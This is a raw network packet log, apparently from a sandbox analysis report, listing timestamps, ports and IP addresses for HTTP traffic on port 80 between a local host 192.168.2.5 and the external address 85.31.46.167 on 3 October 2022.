Oct 3, 2022 17:30:00.015984058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.015997887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.016006947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.016017914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.016030073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.016041994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.016066074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043250084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043287992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043327093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043365955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043382883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043411016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043428898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043440104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043443918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043454885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043474913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043483019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043504953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043515921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043538094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043545961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043569088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043576956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043600082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043607950 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043631077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043639898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043662071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043669939 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043694019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043704033 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043725967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043735027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043757915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043765068 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043788910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043798923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043839931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043849945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043881893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043905973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043936014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043951988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043965101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.043977976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.043993950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044003963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044023991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044051886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044054985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044080019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044090033 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044090986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044128895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044131994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044166088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044167995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044205904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044207096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044245005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044249058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044286013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044291019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044323921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044328928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044365883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044369936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044404984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044405937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044444084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044445038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044483900 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044485092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044524908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044526100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044564009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044569969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044609070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044610977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044650078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044653893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044693947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044699907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044739008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044744015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044781923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044787884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044826984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044835091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044876099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044878960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044917107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044924021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.044965029 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.044969082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045010090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045012951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045053959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045058012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045097113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045099974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045140982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045141935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045183897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045212984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045219898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045222998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045249939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045262098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045279026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045289040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045309067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045320988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045339108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045347929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045370102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045381069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045399904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045413017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045430899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045444965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045459986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045471907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045490026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045501947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045520067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045527935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045552015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045562983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045581102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045591116 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045612097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045622110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045640945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045650959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045680046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045682907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045722008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045723915 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045754910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045764923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045793056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045805931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045825958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045840025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045856953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045866013 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045888901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045897007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045918941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045931101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045950890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.045962095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.045981884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046005964 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046011925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046021938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046042919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046065092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046072006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046087980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046106100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046122074 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046144009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046171904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046171904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046201944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046205044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046214104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046250105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046252966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046283007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046293020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046313047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046324968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046341896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046353102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046371937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046384096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046402931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046410084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046433926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046442986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046484947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046494961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046514988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046525002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046545029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046555042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046572924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046586990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046603918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046617031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046633959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046643972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046668053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046674967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046709061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046749115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046749115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046762943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046786070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046791077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046863079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046911001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046911001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.046947002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046991110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.046997070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047028065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047034025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047058105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047066927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047086000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047096014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047116041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047126055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047144890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047152996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047175884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047182083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047209024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047211885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047249079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047251940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047288895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047290087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047327995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047329903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047369003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047375917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047409058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047418118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047436953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047445059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047466993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047475100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047496080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047506094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047523975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047533989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047554016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047560930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047583103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047596931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047612906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047619104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047650099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047652960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047693014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047693968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047734022 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047735929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047770023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047796011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047825098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047852993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047879934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.047884941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047904968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.047941923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075088024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075126886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075150967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075165987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075176001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075201988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075227022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075236082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075236082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075236082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075254917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075275898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075309038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075310946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075310946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075310946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075331926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075339079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075359106 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075360060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075386047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075397015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075412035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075413942 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075438976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075438976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075459957 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075464964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075490952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075493097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075510025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075516939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075541973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075548887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075565100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075566053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075592041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075597048 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075617075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075618982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075644970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075649977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075670004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075687885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075689077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075720072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075723886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075723886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075747013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075752974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075772047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075781107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075803995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075809002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075830936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075834990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075856924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075862885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075891018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075895071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075907946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075917006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075937986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075941086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075968981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.075968981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075983047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.075994968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076018095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076025963 CEST	49694	80	192.168.2.5	85.31.46.167
